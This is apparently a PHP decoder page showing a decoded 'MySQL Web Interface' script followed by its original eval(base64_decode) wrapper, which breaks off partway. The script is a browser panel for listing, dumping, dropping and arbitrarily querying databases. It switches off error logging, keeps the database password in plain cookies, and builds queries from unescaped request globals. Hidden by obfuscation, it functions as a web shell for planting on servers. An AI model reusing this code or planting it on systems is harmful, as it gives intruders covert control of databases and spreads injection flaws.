	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	$key = "";
	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		if( $field->primary_key == 1 )
			if( $field->numeric == 1 )
				$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
			else
				$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
	}
	$key = substr( $key, 0, strlen($key)-4 );

	mysql_select_db( $dbname, $mysqlHandle );
	$queryStr =  "DELETE FROM $tablename WHERE $key";
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function fetch_table_dump_sql($table)
{
	global $mysqlHandle,$dbname;
	
	mysql_select_db( $dbname, $mysqlHandle );
	$query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
	$tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
	$tabledump = "DROP TABLE IF EXISTS $table;
" . $tabledump['Create Table'] . ";

";

	echo $tabledump;

	// get data
	$rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
	$numfields=mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows, MYSQL_NUM))
	{
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter = -1;
		$firstfield = 1;
		// get each field's data
		while (++$fieldcounter < $numfields)
		{
			if (!$firstfield)
			{
				$tabledump .= ', ';
			}
			else
			{
				$firstfield = 0;
			}

			if (!isset($row["$fieldcounter"]))
			{
				$tabledump .= 'NULL';
			}
			else
			{
				$tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
			}
		}

		$tabledump .= ");
";

		echo $tabledump;

	}
	@mysql_free_result($rows);
}

function dump() {
	global $mysqlHandle, $action, $dbname, $tablename;

	if( $action == "dumpTable" ){

		header("Content-disposition: filename=$tablename.sql");
		header('Content-type: unknown/unknown');
		fetch_table_dump_sql($tablename);
		echo "


";
		echo "


### $tablename TABLE DUMP COMPLETED ###";
		exit;		
				
	}else{
		header("Content-disposition: filename=$dbname.sql");
		header('Content-type: unknown/unknown');
		
		mysql_select_db( $dbname, $mysqlHandle );
		$query_id = mysql_query("SHOW tables",$mysqlHandle);
		while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
		{
				fetch_table_dump_sql($row[0]);
				echo "


";
				echo "


### $row[0] TABLE DUMP COMPLETED ###";
				echo "


";
		}
		echo "


### $dbname DATABASE DUMP COMPLETED ###";
		exit;		

	}

}

function utils() {
	global $PHP_SELF, $command;
	echo "<h1>Utilities</h1>
";
	if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
		echo "<hr>
";
		echo "Show
";
		echo "<ul>
";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>
";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>
";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>
";
		echo "</ul>
";
		echo "Flush
";
		echo "<ul>
";
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>
";
		if( $command == "flush_hosts" ) {
			if( mysql_query( "Flush hosts" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>
";
		if( $command == "flush_logs" ) {
			if( mysql_query( "Flush logs" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>
";
		if( $command == "flush_privileges" ) {
			if( mysql_query( "Flush privileges" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>
";
		if( $command == "flush_tables" ) {
			if( mysql_query( "Flush tables" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>
";
		if( $command == "flush_status" ) {
			if( mysql_query( "Flush status" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "</ul>
";
	} else {
		$queryStr = ereg_replace( "_", " ", $command );
		$pResult = mysql_query( $queryStr );
		if( $pResult == false ) {
			echo "Fail";
			return;
		}
		$col = mysql_num_fields( $pResult );

		echo "<p class=location>$queryStr</p>
";
		echo "<hr>
";

		echo "<table cellspacing=1 cellpadding=2 border=0>
";
		echo "<tr>
";
		for( $i = 0; $i < $col; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			echo "<th>".$field->name."</th>
";
		}
		echo "</tr>
";

		while( 1 ) {
			$rowArray = mysql_fetch_row( $pResult );
			if( $rowArray == false ) break;
			echo "<tr>
";
			for( $j = 0; $j < $col; $j++ )
				echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>
";
			echo "</tr>
";
		}
		echo "</table>
";
	}
}

function header_html() {
	global $PHP_SELF;
	
echo '
<html>
<head>
<title>MySQL Interface</title>
<style type="text/css">
<!--
p.location {
	color: #11bb33;
	font-size: small;
}
h1 {
	color: #A4A260;
}
th {
	background-color: #BDBE42;
	color: #FFFFFF;
	font-size: x-small;
}
td {
	background-color: #DEDFA5;
	font-size: x-small;
}
form {
	margin-top: 0;
	margin-bottom: 0;
}
a {
	text-decoration:none;
	color: #848200;
	font-size:x-small;
}
a:link {
}
a:hover {
	background-color:#EEEFD5;
	color:#646200;
	text-decoration:none               
}
//-->
</style>
</head>
<body>
';
}

function footer_html() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;

	echo "<hr>
";
	echo "<font size=2 color=blue>[$USERNAME]</font> - 
";

	echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | 
";
	if( $tablename != "" )
		echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
	echo "<a href='$PHP_SELF?action=utils'>Utils</a> |
";
	echo "<a href='$PHP_SELF?action=logout'>Logout</a>
";
	echo "</font>
";
	echo "</body>
";
	echo "</html>
";
}




//------------- MAIN ------------- //
error_reporting(0);
ini_set ('display_errors', 0);
ini_set ('log_errors', 0);

if( $action == "logon" || $action == "" || $action == "logout" )
	logon();
else if( $action == "logon_submit" )
	logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	dump();
} else {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	echo "<!--";
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	echo "-->";

	if( $mysqlHandle == false ) {
		echo "<html>
";
		echo "<head>
";
		echo "<title>MySQL Interface</title>
";
		echo "</head>
";
		echo "<body>
";
		echo "<table width=100% height=100%><tr><td><center>
";
		echo "<h1>Wrong Password!</h1>
";
		echo "<a href='$PHP_SELF?action=logon'>Logon</a>
";
		echo "</center></td></tr></table>
";
		echo "</body>
";
		echo "</html>
";
	} else {
		header_html();
		if( $action == "listDBs" )
			listDatabases();
		else if( $action == "createDB" )
			createDatabase();
		else if( $action == "dropDB" )
			dropDatabase();
		else if( $action == "listTables" )
			listTables();
		else if( $action == "createTable" )
			createTable();
		else if( $action == "dropTable" )
			dropTable();
		else if( $action == "viewSchema" )
			viewSchema();
		else if( $action == "query" )
			viewData( $queryStr );
		else if( $action == "addField" )
			manageField( "add" );
		else if( $action == "addField_submit" )
			manageField_submit( "add" );
		else if( $action == "editField" )
			manageField( "edit" );
		else if( $action == "editField_submit" )
			manageField_submit( "edit" );
		else if( $action == "dropField" )
			dropField();
		else if( $action == "viewData" )
			viewData( "" );
		else if( $action == "addData" )
			manageData( "add" );
		else if( $action == "addData_submit" )
			manageData_submit( "add" );
		else if( $action == "editData" )
			manageData( "edit" );
		else if( $action == "editData_submit" )
			manageData_submit( "edit" );
		else if( $action == "deleteData" )
			deleteData();
		else if( $action == "utils" )
			utils();

		mysql_close( $mysqlHandle);
		footer_html();
	}
}

Did this file decode correctly?

Original Code

<?
eval(base64_decode('LyoNCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyDQ
ogKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQog
KiBEZXZlbG9wZWQgQnkgc05pcGVyX2hFeA0KKi8NCg0KaWYgKC
BmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSApIHsNCgkkb25v
ZmYgPSBpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQp9IG
Vsc2Ugew0KCSRvbm9mZiA9IGdldF9jZmdfdmFyKCdyZWdpc3Rl
cl9nbG9iYWxzJyk7DQp9DQppZiAoJG9ub2ZmICE9IDEpIHsNCg
lAZXh0cmFjdCgkSFRUUF9TRVJWRVJfVkFSUywgRVhUUl9TS0lQ
KTsNCglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl
9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX0ZJTEVTLCBF
WFRSX1NLSVApOw0KCUBleHRyYWN0KCRIVFRQX1BPU1RfVkFSUy
wgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9HRVRfVkFS
UywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9FTlZfVk
FSUywgRVhUUl9TS0lQKTsNCn0NCg0KZnVuY3Rpb24gbG9nb24o
KSB7DQoJZ2xvYmFsICRQSFBfU0VMRjsNCg0KCXNldGNvb2tpZS
ggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKTsNCglzZXRj
b29raWUoICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICk7DQ
oJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1l
IiApOw0KCWVjaG8gIjxodG1sPlxuIjsNCgllY2hvICI8aGVhZD
5cbiI7DQoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwv
dGl0bGU+XG4iOw0KCWVjaG8gIjwvaGVhZD5cbiI7DQoJZWNoby
AiPGJvZHk+XG4iOw0KCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAl
IGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJZW
NobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCBiZ2Nv
bG9yPSNhNGEyNjA+PGNlbnRlcj5cbiI7DQoJZWNobyAiPHRhYm
xlIGNlbGxwYWRkaW5nPTIwPjx0cj48dGQgYmdjb2xvcj0jZmZm
ZmZmPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBXZW
IgSW50ZXJmYWNlPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0
aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdH
lwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9bG9nb25fc3Vi
bWl0PlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NS
BjZWxsc3BhY2luZz0xPlxuIjsNCgllY2hvICI8dHI+PHRkPkhv
c3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbW
U9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3Ry
PlxuIjsNCgllY2hvICI8dHI+PHRkPlVzZXJuYW1lIDwvdGQ+PH
RkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9dXNlcm5hbWU+PC90
ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkPlBhc3N3b3JkID
wvdGQ+PHRkPiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBh
c3N3b3JkPjwvdGQ+PC90cj5cbiI7DQoJZWNobyAiPC90YWJsZT
48cD5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSdFbnRlcic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPX
Jlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsNCgllY2hvICI8
L2Zvcm0+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj
48L3RhYmxlPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwv
dHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPHA+PGhyIHdpZHRoPT
MwMD5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwv
dGFibGU+XG4iOw0KCWVjaG8gIjwvYm9keT5cbiI7DQoJZWNoby
AiPC9odG1sPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3Vi
bWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZC
wgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1l
ID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCX
NldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIs
ICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl
9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNv
b2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3
N0bmFtZSApOw0KCWVjaG8gIjxodG1sPiI7DQoJZWNobyAiPGhl
YWQ+IjsNCgllY2hvICI8TUVUQSBIVFRQLUVRVUlWPVJlZnJlc2
ggQ09OVEVOVD0nMDsgVVJMPSRQSFBfU0VMRj9hY3Rpb249bGlz
dERCcyc+IjsNCgllY2hvICI8L2hlYWQ+IjsNCgllY2hvICI8L2
h0bWw+IjsNCn0NCg0KZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0
KCkgew0KCWdsb2JhbCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCg
lpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2Vz
cyI7DQoJaWYoICRxdWVyeVN0ciAhPSAiIiApIHsNCgkJZWNoby
AiPHRhYmxlIGNlbGxwYWRkaW5nPTU+XG4iOw0KCQllY2hvICI8
dHI+PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3
RyPlxuIjsNCgkJZWNobyAiPHRyPjx0ZD5SZXN1bHQ8L3RkPjx0
ZD4kZXJyTXNnPC90ZD48L3RyPlxuIjsNCgkJZWNobyAiPC90YW
JsZT48cD5cbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBsaXN0RGF0
YWJhc2VzKCkgew0KCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRQSF
BfU0VMRjsNCg0KCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwv
aDE+XG4iOw0KDQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1
NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOw0KCWVjaG
8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kYm5hbWU+XG4iOw0K
CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ3JlYX
RlIERhdGFiYXNlJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsN
CgllY2hvICI8aHI+XG4iOw0KDQoJZWNobyAiPHRhYmxlIGNlbG
xzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoNCgkkcERC
ID0gbXlzcWxfbGlzdF9kYnMoICRteXNxbEhhbmRsZSApOw0KCS
RudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOw0KCWZvcigg
JGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRkYm5hbW
UgPSBteXNxbF9kYm5hbWUoICRwREIsICRpICk7DQoJCWVjaG8g
Ijx0cj5cbiI7DQoJCWVjaG8gIjx0ZD4kZGJuYW1lPC90ZD5cbi
I7DQoJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0
aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUnPlRhYmxlcz
wvYT48L3RkPlxuIjsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQ
SFBfU0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJy
BvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0Ryb3AgRGF0YWJh
c2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOw
0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlv
bj1kdW1wREImZGJuYW1lPSRkYm5hbWUnIG9uQ2xpY2s9XCJyZX
R1cm4gY29uZmlybSgnRHVtcCBEYXRhYmFzZSBcJyRkYm5hbWVc
Jz8nKVwiPkR1bXA8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdH
I+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0K
ZnVuY3Rpb24gY3JlYXRlRGF0YWJhc2UoKSB7DQoJZ2xvYmFsIC
RteXNxbEhhbmRsZSwgJGRibmFtZSwgJFBIUF9TRUxGOw0KDQoJ
bXlzcWxfY3JlYXRlX2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbG
UgKTsNCglsaXN0RGF0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9u
IGRyb3BEYXRhYmFzZSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZG
xlLCAkZGJuYW1lLCAkUEhQX1NFTEY7DQoNCglteXNxbF9kcm9w
X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglsaXN0RG
F0YWJhc2VzKCk7DQp9DQoNCmZ1bmN0aW9uIGxpc3RUYWJsZXMo
KSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJF
BIUF9TRUxGOw0KDQoNCgllY2hvICI8aDE+VGFibGVzIExpc3Q8
L2gxPlxuIjsNCgllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kZG
JuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgll
Y2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRic+XG4iOw0KCW
VjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2
YWx1ZT1jcmVhdGVUYWJsZT5cbiI7DQoJZWNobyAiPGlucHV0IH
R5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+
XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YW
JsZW5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0nQ3JlYXRlIFRhYmxlJz5cbiI7DQoJZWNobyAiPC
9mb3JtPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBf
U0VMRic+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbi
BuYW1lPWFjdGlvbiB2YWx1ZT1xdWVyeT5cbiI7DQoJZWNobyAi
PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPS
RkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXRleHQg
c2l6ZT0xMjAgbmFtZT1xdWVyeVN0cj5cbiI7DQoJZWNobyAiPG
lucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdRdWVyeSc+XG4iOw0K
CWVjaG8gIjwvZm9ybT5cbiI7DQoJZWNobyAiPGhyPlxuIjsNCg
0KCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFt
ZSApOw0KDQoJaWYoICRwVGFibGUgPT0gMCApIHsNCgkJJG1zZy
AgPSBteXNxbF9lcnJvcigpOw0KCQllY2hvICI8aDM+RXJyb3Ig
OiAkbXNnPC9oMz48cD5cbiI7DQoJCXJldHVybjsNCgl9DQoJJG
51bSA9IG15c3FsX251bV9yb3dzKCAkcFRhYmxlICk7DQoNCgll
Y2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz
01PlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRp
KysgKSB7DQoJCSR0YWJsZW5hbWUgPSBteXNxbF90YWJsZW5hbW
UoICRwVGFibGUsICRpICk7DQoNCgkJZWNobyAiPHRyPlxuIjsN
CgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiJHRhYmxlbmFtZV
xuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5c
biI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb2
49dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgkJZWNobyAiPC
90ZD5cbiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxh
IGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW
1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPkRhdGE8
L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNobyAiPH
RkPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2Fj
dGlvbj1kcm9wVGFibGUmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW
1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmly
bSgnRHJvcCBUYWJsZSBcJyR0YWJsZW5hbWVcJz8nKVwiPkRyb3
A8L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNobyAi
PHRkPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2
FjdGlvbj1kdW1wVGFibGUmZGJuYW1lPSRkYm5hbWUmdGFibGVu
YW1lPSR0YWJsZW5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZm
lybSgnRHVtcCBUYWJsZSBcJyR0YWJsZW5hbWVcJz8nKVwiPkR1
bXA8L2E+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJZWNoby
AiPC90cj5cbiI7DQoJfQ0KDQoJZWNobyAiPC90YWJsZT4iOw0K
fQ0KDQpmdW5jdGlvbiBjcmVhdGVUYWJsZSgpIHsNCglnbG9iYW
wgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAk
UEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCSRxdW
VyeVN0ciA9ICJDUkVBVEUgVEFCTEUgJHRhYmxlbmFtZSAoIG5v
IElOVCApIjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsIC
RteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlT
dHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF
9lcnJvcigpOw0KDQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5j
dGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbm
RsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAk
cXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcXVlcnlTdHIgPSAiRF
JPUCBUQUJMRSAkdGFibGVuYW1lIjsNCglteXNxbF9zZWxlY3Rf
ZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3
F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRl
cnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJbGlzdFRhYmxlcy
gpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3U2NoZW1hKCkgew0KCWds
b2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbW
UsICRQSFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KDQoJ
ZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG
8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFi
bGVuYW1lPC9wPlxuIjsNCg0KCWVjaG9RdWVyeVJlc3VsdCgpOw
0KDQoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1h
ZGRGaWVsZCZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYm
xlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsNCgllY2hvICI8
YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXZpZXdEYXRhJmRibm
FtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3
IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoNCgkkcF
Jlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hP
VyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPS
BteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCg0KCWVjaG8g
Ijx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTU+XG
4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZWNobyAiPHRoPkZpZWxk
PC90aD5cbiI7DQoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsNCg
llY2hvICI8dGg+TnVsbDwvdGg+XG4iOw0KCWVjaG8gIjx0aD5L
ZXk8L3RoPlxuIjsNCgllY2hvICI8dGg+RGVmYXVsdDwvdGg+XG
4iOw0KCWVjaG8gIjx0aD5FeHRyYTwvdGg+XG4iOw0KCWVjaG8g
Ijx0aCBjb2xzcGFuPTI+QWN0aW9uPC90aD5cbiI7DQoJZWNoby
AiPC90cj5cbiI7DQoNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRu
dW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2
FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0K
CQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG
4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90
ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLi
I8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXki
XS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRG
VmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZp
ZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZS
A9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhy
ZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT
0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFt
ZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2
hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9w
RmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW
5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJy
ZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbW
VcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwv
dHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCg0KfQ
0KDQpmdW5jdGlvbiBtYW5hZ2VGaWVsZCggJGNtZCApIHsNCgln
bG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW
1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEY7DQoNCglpZiggJGNt
ZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxoMT5BZGQgRmllbGQ8L2
gxPlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsN
CgkJZWNobyAiPGgxPkVkaXQgRmllbGQ8L2gxPlxuIjsNCgkJJH
